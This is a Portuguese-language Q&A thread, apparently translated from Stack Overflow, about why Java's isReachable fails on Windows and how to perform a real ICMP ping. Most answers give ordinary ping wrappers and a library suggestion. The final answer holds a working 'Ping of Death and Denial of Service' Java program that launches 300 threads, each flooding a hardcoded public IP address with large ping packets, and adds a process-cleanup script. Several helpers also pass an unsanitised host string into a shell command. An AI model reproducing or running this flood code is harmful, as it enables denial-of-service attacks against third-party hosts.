Como fazer um verdadeiro ping Java a partir do Windows?

Eu tenho um dispositivo em uma rede que estou tentando ping através do meu programa Java. Através do meu prompt de comando do windows, eu posso fazer o ping no endereço do dispositivo e fazer um tracert no endereço.

Online, eu vi que para fazer um ping através de Java você tem que fazer o seguinte:

InetAddress.getByName(address).isReachable(timeout); 

Mas, quando eu uso esse código no endereço do meu dispositivo, ele sempre retorna false no meu programa. Eu estou usando o endereço IPv4 correto com um bom valor de tempo limite. Além disso, se eu usar um endereço de host local, ele funciona bem.

Por que posso pingar o dispositivo através do cmd, mas não através do meu programa? Eu ouvi em vários lugares que isso não é um verdadeiro ping.

Existe uma maneira melhor de emular um ping em Java?

obrigado

isReachable() usará o ICMP ECHO REQUEST s se o privilégio puder ser obtido , caso contrário ele tentará estabelecer uma conexão TCP na porta 7 (Echo) do host de destino.
Portanto, seu problema provavelmente é um problema de configuração de permissions insuficientes para fazer isso na máquina cliente ou um problema de porta 7 no servidor se o seu cliente não tiver permissão para fazer o ICMP ECHO REQUEST . Provavelmente, tanto no seu caso, você precisa resolver um lado ou outro para que isso funcione.

Eu testei o seguinte em clientes OSX e Linux e ele funciona ao testar a acessibilidade de outras máquinas OSX, Linux e Windows Server. Eu não tenho uma máquina Windows para executar isso como um cliente.

 import java.io.IOException; import java.net.InetAddress; public class IsReachable { public static void main(final String[] args) throws IOException { final InetAddress host = InetAddress.getByName(args[0]); System.out.println("host.isReachable(1000) = " + host.isReachable(1000)); } } 

pelo que li aqui . É aparentemente uma limitação do Windows e o ICMP PING não é suportado no Windows como uma chamada de sistema anterior ao Windows 2000, portanto, o padrão é tentar conectar-se à Porta 7 e que está bloqueado na máquina que você está tentando “acessar”. Java ainda não suporta a nova chamada de sistema nativo. A coisa das permissions é para o sistema baseado em Unix, pois eles exigem que o root envie pacotes ICMP .

Se você deseja rolar seu próprio Windows nativo JNI ICMP PING para Windows 2000 e mais recente, há a function IcmpSendEcho .

Eu uso essa function ( deste artigo ) quando eu preciso de um ping ICMP real no Windows, Linux e OSX (eu não testei outros sistemas).

 public static boolean isReachableByPing(String host) { try{ String cmd = ""; if(System.getProperty("os.name").startsWith("Windows")) { // For Windows cmd = "ping -n 1 " + host; } else { // For Linux and OSX cmd = "ping -c 1 " + host; } Process myProcess = Runtime.getRuntime().exec(cmd); myProcess.waitFor(); if(myProcess.exitValue() == 0) { return true; } else { return false; } } catch( Exception e ) { e.printStackTrace(); return false; } } 

Um pouco tarde, mas eu tropecei nisso enquanto tentava fazer a mesma coisa.

Uma solução que funcionou para mim e que eu usei foi apenas usar o comando de linha de ping diretamente.

  public static boolean ping(String host) { boolean isReachable = false; try { Process proc = new ProcessBuilder("ping", host).start(); int exitValue = proc.waitFor(); System.out.println("Exit Value:" + exitValue); if(exitValue == 0) isReachable = true; } catch (IOException e1) { System.out.println(e1.getMessage()); e1.printStackTrace(); } catch (InterruptedException e) { e.printStackTrace(); } return isReachable; } 

Uma das razões é que o tempo limite especificado por você é muito baixo. Eu tive um problema semelhante, mas quando eu aumentei o tempo limite para um valor apropriado, a invocação isReachable retornou um valor correto.

Vi muito código incorreto escrito relacionado a esse problema. O código que funcionou para o meu é (site não sabe analisar corretamente o meu arquivo de código):

 public class Test { public static boolean isReachablebyPing(String ip) { try { String command; if(System.getProperty("os.name").toLowerCase().startsWith("windows")) { // For Windows command = "ping -n 2 " + ip; } else { // For Linux and OSX command = "ping -c 2 " + ip; } Process proc = Runtime.getRuntime().exec(command); StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT"); outputGobbler.start(); proc.waitFor(); return checkAvailability(outputGobbler.getOutputLines()); } catch(IOException | InterruptedException ex) { Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex); } return false; } public static void main(String... args) { String ip = "10.20.20.17"; // false in my case String ip1 = "10.20.20.100"; // true in my case System.out.println(ip + " is avalaible " + isReachablebyPing(ip)); System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1)); } private static boolean checkAvailability(List outputLines) { for(String line : outputLines) { if(line.contains("unreachable")) { return false; } if(line.contains("TTL=")) { return true; } } return false; } } class StreamGobbler extends Thread { protected InputStream is; protected String type; protected List outputLines; StreamGobbler(InputStream is, String type) { this.is = is; this.type = type; outputLines = new ArrayList<>(); } public List getOutputLines() { return outputLines; } @Override public void run() { try { InputStreamReader isr = new InputStreamReader(is); BufferedReader br = new BufferedReader(isr); String line; while((line = br.readLine()) != null) { outputLines.add(line); } } catch(IOException ex) { Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex); } } } 

Para um ping fácil de java sem privilégios, eu uso http://www.icmp4j.org

É muito fácil de usar :

  final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest (); request.setHost ("www.google.org"); // repeat a few times for (int count = 1; count < = 4; count ++) { // delegate final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request); // log final String formattedResponse = IcmpPingUtil.formatResponse (response); System.out.println (formattedResponse); // rest Thread.sleep (1000); } 

Usar isso não ajudará em caso de ping em endereços IP públicos usando a máquina Windows :

 String ipAddress = "192.168.1.10"; InetAddress inet = InetAddress.getByName(ipAddress); boolean reachable = inet.isReachable(5000); 

Nota: A documentação afirma que:

Uma implementação típica usará o ICMP ECHO REQUEST se o privilégio puder ser obtido, caso contrário ele tentará estabelecer uma conexão TCP na porta 7 (Echo) do host de destino.

Eu tentei isso, mas os resultados não foram precisos.

O que realmente funcionou para mim é a class escrita pelo nosso colega usuário que envia um verdadeiro ping ICMP e retorna verdadeiro ou falso de acordo com o status do IP.

Problema InetAddress.isReachable () ímpar

O código JAVA a seguir é um exemplo de Ping of Death e Negação de Serviço usando o Microsoft Windows. Isso deve ser usado para fins de teste, a fim de criar uma prova Anti-Hack e / ou testar o desempenho do site em caso de ataques cibernéticos semelhantes.

 // BEGIN Ping of Death and Denial of Service import java.awt.AWTException; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.URISyntaxException; import jxl.read.biff.BiffException; import jxl.write.WriteException; public class PoDandDoS { protected static final long serialVersionUID = 300200; public static void main(String[] args) throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException { Thread[] threads = new Thread[300]; for (int i = 0; i < 300; i++) { threads[i] = new Thread(new Runnable() { public void run() { try { thread(); } catch (IOException | InterruptedException e) { e.printStackTrace(); } } }); threads[i].start(); } for (int i = 0; i < 300; i++) { threads[i].join(); } } private static void thread() throws IOException, InterruptedException { // Ping of Death String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" }; Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1); BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream())); String temp1 = ""; @SuppressWarnings("unused") String Hostname1 = ""; while ((temp1 = VarMove1.readLine()) != null) { Thread.sleep(2); Hostname1 = temp1; } VarMove1.close(); } } 

Quando os testes são concluídos. Você pode querer usar o seguinte código para limpar os processos no Gerenciador de Tarefas.

 import java.io.IOException; //BEGIN Clean Process public class CleanProcess { protected static final long serialVersionUID = 300200; public static void main(String[] args) throws IOException { // Close every process of PING and CMD running from your PC Runtime.getRuntime().exec("taskkill /F /IM PING.EXE"); Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE"); } }